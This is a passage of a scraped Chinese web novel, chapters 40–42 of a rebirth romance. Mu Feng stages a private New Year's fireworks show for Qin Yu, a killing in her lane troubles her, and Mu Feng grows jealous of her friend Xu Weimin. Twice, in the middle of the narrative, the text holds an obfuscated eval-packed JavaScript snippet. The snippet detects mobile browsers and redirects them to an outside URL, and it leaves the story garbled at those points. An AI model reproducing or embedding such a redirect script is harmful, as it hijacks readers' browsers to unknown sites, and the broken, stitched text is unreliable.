口袋里传来一阵震动,秦遇放下右手里的一袋胡萝卜,掏出小灵通。 是穆逢的电话。 按下接通,穆逢独特的声线传来,“今天有时间吗?出来见一面。” 秦遇吃了一惊,“你怎么还在这里,不是和你舅舅一起过年吗?” “他在东京谈生意,半夜才到。” “你要在这里过年?” “嗯。怎么样?今天有时间吗?” “可是,今天要包饺子,贴对联,很忙啊。” “晚上呢?我只要一小时就够。” 秦遇略一思索,“那……晚饭后,七点半吧。” “OK,七点半我到你家胡同口接你,戴好围巾、手套。” 晚上七点半,大部分人家都已经放完鞭炮、吃完水饺,坐等春晚开播。 秦遇穿好衣服,戴上围巾手套,装作随意的样子对妈妈说,“妈,姚摇找我有事,我出去一趟,很快就回来。” “大过年的,这么冷,你叫姚摇来家里玩吧。” 秦遇临时扯了个谎,“不行,她,她要做新年主题的写生,我陪她走走转转,找找灵感。” 在沙发上看报纸的爸爸抬起头,“大街上都没人了,有什么好看的。” 秦遇不吭声,她对爸爸仍心存怨怼。 爸爸知道她还在生气,清了清嗓子,放柔了声音,“穿厚点,早点回来。” 秦遇嗯了一声,走出家门。 空气里弥漫着淡淡的火药味,地上铺了一层碎掉的鞭炮皮,红红灰灰,斑驳交错。 胡同里,各家各户的窗玻璃里,都透出红光,远处传来断断续续的鞭炮声,宣告着饺子下锅的仪式。 远远的,看见穆逢站在半人高的摩托车旁,身姿挺拔如一棵青松,她加快了脚步。 “叫我来干什么?” 穆逢看着她冻得发红的鼻尖,不由伸出手,把她的围巾往上拉了拉,遮住大半张脸,只露出一双眼睛。 接着,他略一歪头,端详了她两秒,伸手拉了拉她的帽子,把两边耳朵都盖住。 他做这些时没有一丝迟疑,动作自然又认真,好像这本来就是他的分内之事。 秦遇心里却泛起了嘀咕。 她是谈过恋爱、结过婚的,穆逢这样的行为,多少有些暧昧了。 这让她对两人之间友情的界定,产生了质疑。 她是不是一直在自欺欺人? 理智告诉她,她应该后退一步,撤回到安全距离,可双脚却像生了根一样,动弹不得。 他戴着她送的蓝色鸭舌帽,帽檐下,那双锐利深邃的眼眸,像一潭沉静的湖水。 高挺的鼻梁下,薄唇微抿,嘴角微微上扬,噙一丝若有若无的笑意。 他越来越爱笑了,虽然只是浅浅地扯动嘴角,却像云层缝隙中透出的金光,驱散了眉宇间的阴霾。 她别开视线,再次问他,“找我干什么?” 穆逢拿下挂在车头的粉色头盔,塞到她手里,“上车。” 秦遇爬上摩托车后座,“你要带我去哪里?” 穆逢抓住她的手,拉过来,让她环住自己的腰。 “抱紧,到了你就知道了。” 摩托车在百越商场前停下,大楼顶端,旋转餐厅里发出柔和的暖橙色光,像一颗硕大无比的橙子。 秦遇仰头看着那里,“除夕这天,我记得商场都要关门的,旋转餐厅怎么还开着?” “本来也是要关的。” 穆逢说完,拉起她的手,穿过空旷的停车场,绕到商场侧面,乘着员工专用的电梯上了顶楼。 一路走来,所有商铺全都关了,只有旋转餐厅灯火通明,侍者忙碌的身影在玻璃窗里闪过。 侯在门内的侍者,看见他们,提前拉开门,穆逢带着她径直走进去,把一片“欢迎光临”声抛在身后。 “你要带我吃饭?可我刚吃了很多饺子……” “嘘,别急,马上就开始了。” 穆逢第一次打断她的话,带她到玻璃窗前站定。 穆逢抬起手腕,看了看表,低声说,“五、四、三、二、一,开始了。” 他抬起头,满含期待地看向那天鹅绒一样的深蓝夜幕,秦遇学着他的样子,好奇地看去。 伴着一声尖啸,一簇白光从地面飞腾,在高空中炸开,宛如一朵硕大无朋的银白花朵,璀璨夺目,如梦如幻,把夜空照得亮如白昼。 流泻的银光倾洒下来,天地之间下起一场流光溢彩的烟花雨。 “好美。” 她凝视着夜空,无意识地握紧了穆逢的手。 穆逢没敢动,生怕一动,她就会抽回手。 接着,数朵稍小的烟花腾空而起,在天空中依此绽放,闪烁着、旋转着,组成心形、星形、蝴蝶形。 烟花是大地送给天空的流星,用极致的绚烂、飞逝的身影,诉说着一期一会的誓言。 一个沉甸甸的方形盒子,塞到她手里。 她回过神,扭头正对上穆逢亮晶晶的眸子。 “新年快乐,这是送你的礼物。” 他的瞳仁深处,映出漫天华彩。 秦遇不安地动了动,“对不起,我、我没给你准备新年礼物。” “要不然,你说说你想要什么,改天我给你补上。” 穆逢静静地看着她,烟花在他脸上投下暗影,并不断变换。此时此刻,世界坍缩成小小一角,只有天上的烟花,和眼前的他。 在这晃动的光影间,在忽远忽近的烟花轰鸣声中,他的声音清晰地传入她耳中。 “我想要,一个友情的拥抱。” 话音落下,无数烟花腾空而起,在天边炸开。 秦遇愣了一下,两秒后终于反应过来。 期末考试成绩公布那天,她曾经激动地抱了他一下,并声称那是友情的拥抱。 可那只是为了找补,随便扯的理由。 如今,他站在这里,站在漫天烟花之下,一脸认真地向她要一个拥抱。 她悄悄红了脸。 还好,餐厅里灯光昏暗,外面的烟花又那样绚烂,应该没人看得出。 秦遇顿了顿,“我……” 此时此刻,让她张开手臂去拥抱穆逢,只是想一想那个画面,她的心脏就剧烈地跳起来,连呼吸都变得紧张。 “什么友情的拥抱,我就知道你是骗人的。” 他佯作失望地叹了口气,脸上愉悦却丝毫未减,笑意从眼角眉梢溢出。 她张了张嘴,想要说点什么,又不知该如何说起。 烟花还在继续,像一场不会结束的华丽的梦。 穆逢朝她伸出手,掌心朝上。 她明白他的意思,从兜里掏出棒棒糖,放到他手心上。 穆逢撕下包装,叼起棒棒糖,按着她的肩膀,让她转过身,“看烟花吧,还有十三分钟。” “你怎么知道?” “因为是我安排人放的。” 秦遇讶然,再过十三分钟,这场烟花秀就足足放了半小时了。 她戳了戳他的肩膀,“我问你,为什么自从我们进来,餐厅就不转了?” “还有,为什么整个餐厅,只有我们两个客人?” 穆逢嘴角上扬,“因为我试过了,这个角度看烟花,最美。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16110793|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他侧过头看她,琥珀色的瞳仁里,闪着肆意张扬的光芒。 “所以,我要它为我们暂停30分钟。” “没有任何人打扰的30分钟。” 真是自大。 可是,内心深处有个小小的声音在说,好喜欢他的自大。 那是被她用成熟、理智、顾虑层层缠绕住的,真实的自我。 烟花在夜空中一簇簇炸开,心头的枷锁也一圈圈崩开。 直到最后一抹烟花的尾痕消失在夜空,秦遇仍依依不舍地盯着那里。 穆逢看看手表,“结束了,走,我送你回家。” 他自然地牵起她的手,带她走下楼。 秦遇还沉浸在盛大的烟花美景中,神情恍惚,脚下轻飘飘的,像在梦中。 到了停车场,她仍然不住地抬头往天上看。 穆逢问她,“还想看?” 她点点头。 穆逢变戏法似地从摩托车侧面拿出两支烟花,“只有两支了,我放给你看吧。” 秦遇拿起一支,“你放一个,我放一个。” 穆逢意外地挑起眉,“你不怕?” “当然不怕,我从小就带秦征放鞭炮和烟花。” 穆逢点点头,把烟花放到空地上点燃,退回她身边。 两人一起靠在摩托车旁。 这是一支小型烟花,燃放时间只有3分钟,绚烂程度和刚才的不能比,但它就在眼前,火树银花,火星四溅,别有一番味道。 “该我了。” 秦遇走过,把烟花放在上一支的旁边,点燃芯子后就快步后退,回到穆逢身边。 火星蹿起,从芯子迅速蔓延到烟花筒,闪了一下,又一下。 预想中的绽放迟迟不来。 “哑火了?” “也许是。” “我去看看。” 穆逢拉住她,“再等一会。” 半分钟过去了,烟花纹丝不动,最后一点火光挣扎着闪了下,也熄灭了。 “一定是哑火了,我再去点一次。” 穆逢不放心,“我跟你一起。” 两人走到烟花筒前,围住它,弯腰低头研究。 秦遇喃喃自语,“奇怪,难道受潮了?要不然撕开包装,直接□□……” 就在这时,细微的嘶嘶声响起,穆逢眼疾手快地拉起她往后撤,可是已经晚了。 伴随着“砰”的一声,烟花终于绽放了。 两个人因为躲闪不及,都被熏黑了脸。 还好火力不大,并没受伤。 秦遇和穆逢双双愣住,两人你看看我,我看看你,噗嗤一声同时笑了出来。 在一片火药味中,秦遇闻到一点焦糊的味道,抬手一摸,摸到一小缕烧焦的头发。 发尾部分蜷曲干涩,用手一扯就断了。 “我的头发……” 她着急地去摸剩下的头发,“怎么办?被烧了多少?你快帮我看看!” 穆逢带她到路灯下,仔细检查了一遍,“没事,没事,只有那一小缕,别的都很好。” 他的声音前所未有的低,手指一寸寸抚过她的头发,检视着、触碰着。 “那就好。” 她抬起头,明亮的灯光,让两人脸上的黑灰更加鲜明。 黑一道、白一道,活像化妆失败的小丑。 穆逢忍不住笑出来,“你的样子好好笑。” 秦遇不服气,“你又好到哪里去了,还不是一样……” 多奇怪,在这一刻,就是在这一刻,她忽然觉得很幸福。 不是在他为她挥舞拳头的时候,不是万千烟火绽放的瞬间,而是两个人被喷得灰头土脸、互相取笑的这一刻,久违的、甜美的欣悦感弥漫全身。 她曾以为,在遭遇了背叛和失败的婚姻后,这种感觉再不会有。 在这个寒冷的冬夜,在这个平凡的除夕,那些关于爱情的最初想象和悸动,重新降临。 穆逢仍在笑,可是笑着笑着,那笑容凝在嘴角,眸子深处闪烁了一下,然后,她跌进了一个温暖的怀抱。 他的胸口撞着她的鼻尖,凉凉的,还有点疼。 他修长的手臂整个环抱住她。 她从没有像这一刻一样,察觉到两人之间的体型差距。 她的额头堪堪够到他的肩膀。 他收紧手臂,身体的暖意穿透衣服,把她包裹。 万籁俱寂中,只有彼此的呼吸和心跳。 在这一刻,她终于决定,不再逃避,直面心底抬头的爱意。 他的声音在耳边响起。 “礼物收到了,新年快乐。” 40. 行动 回去的路上,两人都没说话。 她闭上眼,在呼啸的冷风中,感受爱意像潮水一样,轻轻拍打着她的心房。 心中有一个念头越发坚定。 她不要他死。 她要他活。 摩托车在低沉的轰鸣声中慢下来,还没回过神来,已经到了巷子口。 穆逢看看手表,“还有十分钟,你就出来一个小时了,我没有食言。” “现在,你正好有时间,慢慢走回家。” 秦遇摘下头盔递给他。 “你倒是算得很清楚。” 穆逢甩甩,对她露出一个略带得意的笑,“还可以吧,我这个人,的确不错。” 秦遇“噗嗤”一声笑了,举起手里的礼物,“谢谢你送我礼物,我也会送你的。” 穆逢指指头上的帽子,“你已经送过了。” 秦遇摇头,“那个不算,那是还你之前帮忙的谢礼。” 穆逢撇了撇嘴,装作不高兴地说,“又来了。” “这次还礼,也是要和我两清?” 他英挺的眉毛微微皱起,琥珀一样的眼睛中又透出那种锐利的视线,看着她,像是要看到她心里去。 这一次,秦遇没有别开眼,而是直接迎上他的视线。 用坦诚而愉悦的眼神,和他对视。 “不,我是想让你开心。” 她的声音清晰又生动,听到她的话,穆逢的唇角高高扬起,露出一口洁白整齐的牙齿。 或许是觉得不好意思,他极力收敛笑容,甚至低头抿了下唇,可是笑意仍从眼角眉梢溢出。 他别扭地别开脸,又转回,克制的表情里,泄露出几分愉悦、几分得意,和一丝难为情。 秦遇第一次看见他这个表情,也忍不住笑了,想多看几眼,又怕他更难为情。 就在这时,一辆黑色加长劳斯莱斯缓缓驶入视线,在距离他们一步之遥的地方停下。 难道是他舅舅? 几乎是在看见那辆车的一瞬间,穆逢脸上的笑意就消失了,他眯起眼瞟了那辆车一眼,转过头来催促她,“快回家,别让你家人担心。” 劳斯莱斯的车窗摇下来,坐在副驾驶上的人看向这边,叫他,“小逢。” 声音低沉,富有磁性,美中不足的是带着明显的沙哑,好像声带受损了一样。 秦遇下意识看过去,正好和那人打了个照面,对方对她颔首示意,她也立刻点头微笑。 她笑得轻浅,心里却已掀起惊涛骇浪。 只一眼,她就知道这人是谁了。 高耸的鼻梁,英俊偏硬朗的长相,尤其是那锐利的眼神,和穆逢简直一个模子刻出来的。 只不过,穆逢身上是张扬热烈的少年感,这个人身上却是静水流深的沉稳内敛。 他的脸看不出年龄,像是三十多岁,又像是保养得宜的五十岁,只那一头灰白的头发,说明他已人到中年。 还有,隔着这段距离,也能看出他脸色不太好,有些疲倦。 “喂,你该回去了。” 穆逢像没听见一样,看都不看中年男人,他按着她的肩膀,推她往巷子里走。 坐在车里的人,忽然剧烈地咳嗽起来,隔着一段距离,声音清晰地传过来。 她忍不住回头张望,“可是,那个人是……” 穆逢打断她,“谁也不是,不用理他,快回去。” 走进巷子之前,秦遇最后回头看了一眼。 穆逢径直跳上摩托,马力开到最大,像一颗子弹一样弹出去。 数秒后,那辆加长型黑车,缓缓跟上去。 车窗已经摇下。 回到家,妈妈在厨房切水果,爸爸在阳台打电话,秦征像火箭一样窜到她面前,嚷着“秦遇,你看见了吗?刚才有人连着放了半个小时的烟花,可好看了,就是离太远了,看不全。” “就在那边。” 秦征说着,跑到窗边,手指向西南方。 那里,正是她刚刚看过的烟花绽放的地方。 秦遇弯腰换鞋,含糊地说“没注意,大概看了两眼吧。” “切,真无聊。” 秦征趿着拖鞋就要走开。 “等一下,”秦遇扯住秦征的后领,“有东西给你。” 她把手里的袋子递给他,这是刚刚分别时,穆逢塞给她的。 “这是什么?” “你大哥送你的,打开看看就知道了。” 秦遇走向卧室,两秒后,身后传来秦征雷鸣般的叫声。 “啊!是擎天柱的手办!是擎天柱的手办!” 秦征一蹦三丈高,激动地在屋里跑来跑去,差点碰到端着果盘出来的妈妈。 “慢点,慢点,别这么冒失。” 看见秦遇,叫她,“快换了衣服来吃水果,看春晚。” “你们先看,我一会就来。” 台灯在书桌上投下一片暖暖的亮光,她掏出包里的盒子,郑重放到桌上。 用洒金纸包着的长方形盒子,腰部缠一条山茶花造型水引绑带,很有点雅致的感觉。 一点也不直男的审美,应该是让店员帮忙包起来的。 她拿下绑带,小心翼翼地揭开包装纸,终于看见礼物的庐山真面目。 一款Sony的Walkman磁带随身听。 红色的金属外壳光滑细腻,机身设计满是工业美感,即使用多年后的眼光来打量,依然是一件不过时的美好物品。 正面中间的长条形菱镜窗口,厚实透亮,像一块大冰糖。用手指抚摸,能感受到镜面的菱形凸起。 手指滑过冰凉丝滑的机身,甜美的感觉从心头丝丝漫溢。 他记得她的随身听坏了,特意选了这样一份新年礼物。 她只提过一次,他却记在心里,买了新的来送她。 多奇怪,初见时觉得他嚣张又粗鲁,没想到相处下来,竟然越来越多地看到他细心体贴的一面。 她该送给他一份什么样的新年礼物? 随手从抽屉里拿出一盘磁带,塞进去,戴上耳机,按下开关。 沙沙的磁带转动声传入耳朵,静谧又治愈。 她闭上眼,沉浸在音乐中,手指在桌面上随节奏一点、又一点,忽然,尾指的指尖触到一个东西。 她睁开眼,是那只编了一半的手链。 八股线,粉紫两色,缠绕交错出凸起的菱形花纹,是徐伟民教她的最新款式。 因为太过复杂,所以编了一半就放下了。 她的眼睛亮起来,有了,就送穆逢一条亲手编的 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当秦遇问他,谁陪他过年时,他说舅舅会来。其实,舅舅忙得全球飞,此时不是在东京和客户吃饭,就是在巴黎和同行开会,忙得脚不沾地。 而他,也不需要人陪。 今晚,和她一起在烟花下度过的30分钟,于他而言,已是这个新年的全部意义。 她开怀的笑容,被冻得发红的鼻尖,倒映着烟花的眼眸,带着焦糊味的浓密黑发,带给他真实而饱满的快乐。 他沐浴在月光下,咀嚼着这些片段。 同时,等一个电话。 12点,手机准时响起。 他把手机放到耳边,按下接听键。 一个沉稳的男声传来。 “你要当心了。” “有时候,离得太近,反而会带来伤害。” 穆逢冷哼一声,“有话直说,别绕弯子。” “连我都注意到了那个女生的存在,他一定也注意到了。” “别忘了你的计划,是时候开始行动了。” 穆逢一下从沙发上坐起来,握紧了手机。 “你还是那么啰嗦!我的事,我自有安排。” “一切照计划推进,她和这件事无关,不要擅自出现在她面前。” 说完,他挂断了电话,起身走到窗前。 窗玻璃上映出他的面孔,这张熟悉的脸上,没有任何表情,眼睛深处,却燃烧着复仇的火焰。 那两团小小的火苗,跳跃着,撕扯着,逐渐填满双眼。 他又看见了那场大火。 漫天的火光在他面前燃烧,狂野的火苗舔舐过他的脸孔、胳膊,可他既不觉得烫,也不觉得疼,他的双手拼命去抓,拼命去抢,最后却只是徒劳。 然后,是从天而降的血雾,遮掩他的双眼,堵住他的耳朵,捂住他的鼻子…… 世界浸泡在一片血色寂静中。 清透的窗玻璃上,映出无数烟花绽放的身影,守岁的鞭炮声高高低低响起,在这乱糟糟的热闹中,他只是静静地立在窗前。 一整夜,那辆黑色劳斯莱斯都停在楼下,直到第二天清晨,天边露出鱼肚白时才开走。 41. 疑惑 年关刚过,秦遇住的巷子里,就出了一桩凶案。 事情的起因很普通,普通到每天都可能发生。 那是一个春寒料峭的清晨,负责给巷子里送纯净水的小伙子,照例来订水的人家送水。 他照着名单,一家一家的送,送到倒数第二户人家时,被这家八岁的男孩用弹弓打中了眼。 本来,七八岁的男孩玩弹弓是很平常的事,偶尔打到邻居孩子身上,被大人呵斥几句或者打一顿,也稀松平常。 巧就巧在,当天那把弹弓用的不是平时的塑料小彩球,而是男孩新买的一盒钢珠,而这个一向准头很差的男孩,破天荒打出了极其精准的一次。 钢珠擦着小伙子的左眼皮飞过。 最开始,只是眼皮有些红肿,送水的小伙子老实木讷,也没多计较。谁知回家后,视线逐渐模糊,没三两日就开始看不清东西。 小伙子到医院一问,医生说眼球受损,治疗要几万块,如果再拖延下去,眼球萎缩,就只能摘除。 这个小伙子是个孤儿,父母早亡,没上过学,只能干些送水的体力活挣个吃饭钱,思来想去,他就去找男孩的父母讨要治疗费。 或许是觉得小伙子在讹钱,或许是不愿负责,总之夫妻俩拒绝了小伙子,扔给他两百块钱,就把他轰出了家门。 据说临走时,那八岁的男孩还摆弄弹弓,冲他比划。 小伙子一只眼看不清东西,送水总出错,不到半个月就被纯净水公司辞退。 本就孑然一身,现在又没了工作,万念俱灰之下,小伙子把刀揣在怀里,半夜翻墙进了那户人家。 第二天清晨,来送水的人第一个到了案发现场,据说,那户人家的门大敞着,一家三口都倒在客厅里。 而那个行凶的小伙子,在警察到来之前,已经用一根麻绳吊死了自己。 “事情大致就是这样,总之,最近不太平,你们两个晚上不许出门,小征,放学后我去接你,小遇,晚自习后和徐伟民一起回家,我已经和他妈妈商量好了,你们俩一起互相做个伴,大人也放心。” “嗯,知道了。” 秦遇心不在焉地答应了一声,背起书包慢吞吞往外走。 巷子里,邻居们三三两两地聚在一起,神情严肃地窃窃私语,看见她过来,就停止交谈,装作无事发生。 出事那户人家的门口,空无一人。 这条巷子里住了几十户人家,大多是同一个国企的员工,彼此熟悉,这户人家去年才搬来,秦遇甚至不知道他们的长相。 可她的心情还是很低落。 上一世,这件事发生的时候,她担惊受怕了好久,每天晚上回家,都要躲在徐伟民身后,走过这家人门前时,就要屏住呼吸、一路小跑。 这一次,心情截然不同。 她在想,如果自己能早点想起这件事,是否有机会改变这起惨剧? 比如说,如果她在事发当天,及时把男孩叫出去,他就不会用弹弓打伤送水的小伙子,之后的一系列悲剧,也就不会发生。 可是再转念一想,她根本就不记得这件事的发生时间。 上体育课的时候,穆逢踢着球从她身边跑过,跟她打招呼,她也只是懒懒地挥了挥手,挤不出一丝笑容。 穆逢的球踢到一半,提前离场,过来找她。 当时她正和姚摇在练习跳绳,看见他过来,姚摇对秦遇眨眨眼,说“我要去买雪糕吃,也给你带一个。”就跑了。 穆逢踢球踢得满身是汗,额头上的汗水在阳光下闪闪发亮,他的头发长长了一些,红色的尖端褪成红棕色。 “你怎么了?发生什么事了?” “没事啊。” “撒谎,明明就有事,一脸心事重重的样子,有人欺负你了?还是,你爸又……” “不是,不是我家的事。” 穆逢微微低头,用探究的目光看着她,“那是什么?” “穆逢,我问你,如果,我是说如果,一个人提前知道某件悲剧会发生,却没有努力去阻止,这个人是不是很差劲?” 穆逢凝视着她,忽然轻笑出声,“你说的不是人,是未卜先知的神仙吧。” 秦遇一怔,也笑了,轻声说“说的也是。” 穆逢走到她身边,和她一起看向围栏外面。 操场对面是鳞次栉比的小店,街道上走过三三两两的行人,这时候,家用轿车还没那么普及,骑自行车和轻骑摩托的人很多。 时光走得还比较慢。 “你说的这个人,和悲剧的当事人,很熟吗?” 秦遇摇头,“算是不认识吧。” “这不就结了?除非他是救世主,生来就背负着拯救天下人的重任,否则,这个未卜先知的人,为什么要去阻止别人的悲剧发生?” “可是,那毕竟是一场悲剧。” 穆逢转过头,认真地看着她。 “你要听听我的真实想法吗?” 她慢慢点了点头。 “网上说,全球平均每天有数十人死于自然灾害,死于交通事故的人,每天大概有三千多,死在战争和冲突里的人,更是数不胜数,对了,还有病死的、老死的、自杀的。” “如果你是恰好经过,顺手阻止了悲剧发生,当然很好。” “可是你没有在正好的时间经过,也没必要为此自责。” 他说着,抬头看向高远的青空,“每个人,都有自己的路要走。” 秦遇咀嚼着他的话,点了点头。 “你说得有道理。” 她没有绑定救世主系统,也不像《重启人生》的主角,有着做好事积累功德的需要。 陌生人的悲剧,不该由她负责。 可是…… 她仰起头,像他一样,看向空中。澄澈的天空是近似于透明的蓝,几朵浮云静静漂浮,穆逢那轮廓分明的侧脸,就映在其间。 唯有眼前这个人,是她一定要拼劲全力去救的。 踢完球,穆逢和大黑几个勾肩搭背地去洗脸,露天水龙头里流出的水冰冷彻骨,却凉不透少年的热血。 穆逢拧开水龙头,鞠了一把凉水往脸上扑,大黑走到他身边,神秘兮兮地说,“哥,听说了吗?秦遇家的巷子里,出了一桩命案,听说一家三口都被杀了,太惨了。” 大黑说着,啧啧摇头。 冰凉的水珠顺着脸颊滑下来,他双手撑在石台上。 原来,她那副心事重重的样子,是因为这件事。 “凶手呢?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123239|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “听说凶手也死了,杀了人之后就上吊自杀了!” 大黑说着,抬手在脖子上用力一划,露出龇牙咧嘴的痛苦表情。 穆逢却想起秦遇之前的话,“如果一个人提前知道悲剧会发生……” 她为什么会有这样的想法? 她见过凶手?知道凶手和被害者之间的恩怨?还是…… 穆逢用手抹了把脸,甩掉头发上的水珠。 无论如何,他不想看见她心事重重、一脸忧虑的模样。 晚自习快下课的时候,秦遇收到穆逢的短信。 “晚上一起走吧。” “不行,我要和徐伟民一起回家,早晨就说好了。” 穆逢盯着短信里的“徐伟民”三个字,慢慢地打出一个“好”。 下课铃一响,姚摇就捅了捅秦遇,朝教室前门努努嘴。 “徐伟民来找你了。” 细长的像根竹竿似的徐伟民,正站在教室门口,看见她抬头,挥了挥手,秦遇也冲他挥挥手,三下五除二收拾好书包,走到他面前。 “今天怎么放学这么积极?” 徐伟民拉着她的袖子往楼下走,“别提了,自从发生了那件事,我心里就瘆得慌,还是早点回家比较好。” “伟民,你也该学会骑自行车了,要是我们都骑车回去,那就快多了。” “好了好了,我这周末就开始学骑车,我爸说等我学会了,给我买一辆帅气的山地车……” 两人说着,一起向校门口走去,走过篮球场的时候,秦遇“啊”的一声,想起一件事,叫住他。 “等等,我正在编的这个手链,忘记怎么收尾了,绳结总是露在外面,你教教我。” 她从口袋里摸出编织手链,是要送给穆逢的那一根,用黑色和墨绿色的线编成,中间嵌着一只水晶姜饼人挂饰。 徐伟民接过手链,借着操场的灯光翻过来看了看,“哎呀,你这里有一根线编错了,从这个地方开始,要拆掉重编。” “啊,不会吧?编错的地方多吗?”秦遇凑过去看。 这一幕,正好落在穆逢眼里。 穆逢当然不觉得自己在默默跟随,他只是今天恰巧走得比较慢。 他停在距离两人十多米的地方,半个身子没在篮球架的阴影里,从这个角度来看,秦遇和徐伟民亲昵地靠在一起,几乎头挨着头,两只手还交叠在一起。 他心头窜起一股莫名的烦躁。 本来是担心她心情不好,想要送她回家,没想到她快乐得很,还和那个青梅竹马的徐伟民有说有笑,亲密无间。 穆逢抬起脚,大踏步走过去,经过两人身边的时候,他故意咳了一声,秦遇和徐伟民双双看过来,看清他的脸的瞬间,秦遇迅速从徐伟民手里抽回手,把一个小东西塞回兜里。 他看不清那是什么,只知道有什么亮晶晶的东西,一闪而过。 很显然,两人刚刚在交谈的,是不能和他分享的秘密。 秦遇一只手揣在兜里,抬起另一只手跟他打招呼,穆逢轻哼了一声,没说话就走了。 秦遇有点奇怪,转头问徐伟民,“他是不是生气了,上午还好好的。” 徐伟民一摊手,“我怎么知道?我跟他又不熟!” 42. 吃醋 从这天开始,徐伟民每天下了晚自习,都会准时出现在教室门口。 秦遇发现,与其说让徐伟民陪她,倒不如说,是她给徐伟民壮胆。 因为每次一走进巷子口,徐伟民就会紧紧挨着她,有时候还会挽着她的胳膊。 “小遇,你听说过吗?枉死的人会在生前的住所不停徘徊,有的化为怨灵,有的附着到附近的活物身上……” 徐伟民越说声音越低,眼睛不住地四处打量,忽然,夜空深处传来一声鸟鸣,徐伟民吓得尖叫一声,一下子跳到墙角边。 秦遇捂着耳朵,皱眉看着他,咬牙切齿地说,“徐~伟~民,你天天一惊一乍地,能不能冷静点?叫那么大声,我的耳朵都要被你震聋了!” “对不起,小遇,我就是害怕嘛……” 就在这时,身后传来轻快的跑步声。 接着,一只手搭上她的肩头,她一惊,难道真是徐伟民说的怨灵? 可是,这只手是温热的。 紧接着,穆逢的声音在耳后响起。 “怎么了?发生什么事了?” 他的声音,焦灼又急切。 秦遇松一口气,转过头,拍着胸口抱怨道,“先是他,再是你,一个两个都这么一惊一乍的,好好的都要被你们吓出心脏病来。” 穆逢讷讷地收回手,“我听见尖叫,以为你遇上了危险。” “我没事,是伟民被鸟叫声吓到了。” 徐伟民不知道什么时候,已经蹑手蹑脚地走回来,紧挨她站着,低头不说话。 平时就弓得像虾米的身子,弯得更厉害了。 秦遇忍不住拍他的背,“挺直背。” 这样亲密又自然的动作落在穆逢眼里,让他的神情瞬间变得无比淡漠。 可是下一秒,这种伪装出来的冷淡就破功了。 秦遇转过头看向他,疑惑地问,“你怎么出现在这里?” 穆逢一滞,抬眼看了看浓黑的夜空,“我,我正好从你们巷子口经过,听见叫声,所以就赶过来了。” “可你回家不走这条路。” 穆逢咧了咧嘴,又挠挠头,低头看了眼自己的鞋尖,终于想到一个借口。 “那个,有点事,来附近见一个朋友。” 他是绝对不会承认,因为担心和嫉妒,这几天他一直悄悄跟在两人身后,直到确认秦遇平安到家。 “真奇怪,最近你不骑摩托了?” 秦遇探头往他身后看。 她说得对,为了不被他们察觉,他最近都是步行跟在他们后面。 徐伟民过来拉她,“哎呀,你管他为什么呢,他现在在这里正好,男生阳气重,穆逢又能打,不怕怨灵。” 秦遇忍不住翻白眼,“徐伟民你不要搞封建迷信好不好?你也是个男生,可是胆子比我还小!” “是是是,我最没用,行了吧?总之,穆逢同学,请你送佛送到西,送我和小遇到家吧。” 说着,就要去拉穆逢的胳膊。 穆逢抬起手制止他,一脸嫌弃。 “送你们倒是没问题,但是,你不要碰我。” “好了,快点回去吧,再晚我妈又要担心了。” 就这样,秦遇、穆逢、徐伟民这个奇怪的三人组合,一起走回了家,不过,徐伟民坚持要走在中间,理由是穆逢和秦遇一左一右,让他更有安全感。 秦遇早就习惯了,从善如流,穆逢极力克制着抽搐的嘴角,一路上愣是没说一句话。 倒是徐伟民兴致高昂、喋喋不休地说了半路。 秦遇家在一楼,徐伟民家在二楼,三人在楼道口分开,穆逢站在楼道口外边,双手插兜,站着不动。 秦遇好奇地回头看他,“你怎么还不走?” 穆逢清冷的声音响起,“你先回去我再走。” 走到秦遇家门口的时候,徐伟民凑过来,对她挤挤眼,“我早就看出来这姓穆的对你有意思了,今晚多亏我,他才有机会送你到家门口,将来你俩成了,可得谢我。” “闭嘴,别乱说!” 秦遇脸一热,抬手就要打他,徐伟民已经一溜烟跑上楼。 关门的时候,她特意往外看了看,楼道里的灯光已经熄灭,借着淡淡的月光,她看见穆逢依然站在那里,安静得像一棵树。 她对他挥挥手,他也抬起手挥了挥。 她这才关上门。 秦征已经睡觉,爸爸照例有酒局,她和妈妈简单说了几句话,就回了卧室。 洗漱完躺到床上,看看时间,已经10点了,她给穆逢发了条短信。 “到家了吗?” 穆逢几乎秒回,“到了。” 她回了个“好”,正想关机睡觉,穆逢又发来一条短信。 “你和徐伟民什么时候认识的?” 她不假思索地回,“小学就认识了,怎么突然问起这个?” 过了足有半分钟,穆逢才回过来,“没事,睡吧。” 多奇怪,她盯着屏幕上的字,眼前却浮现出穆逢欲言又止的模样,那微微抿起的嘴角,明明白白地传达出三个字,“不开心”。 第二天大班空,穆逢和大黑几个人都校门口买饮料喝,正好撞见徐伟民,他手里拿着一叠新买的明星小卡,兴致勃勃地翻看。 穆逢把喝了一半的饮料放到玻璃柜台上,对大黑丢下一句“你们先走,我有点事”,就朝徐伟民走过去。 “徐伟民。” 徐伟民抬起头,见是穆逢,热情地冲他一笑,“嗨,穆逢,你也来买东西?” 穆逢脸上却没什么笑容,他朝门外努努嘴,模仿着大人的低沉语气,“借一步说话。” 徐伟民点点头,收起卡片,跟着他往外走。 一直走到校园里一处僻静的角落,穆逢才停下。 这里是教学楼的后面,在小花坛旁边,有一个废弃的乒乓球台。 “把我叫到这里来,到底有什么事?” 穆逢停住脚步,转过身,一瞬不瞬地盯着他,“你和秦遇,到底是什么关系?” 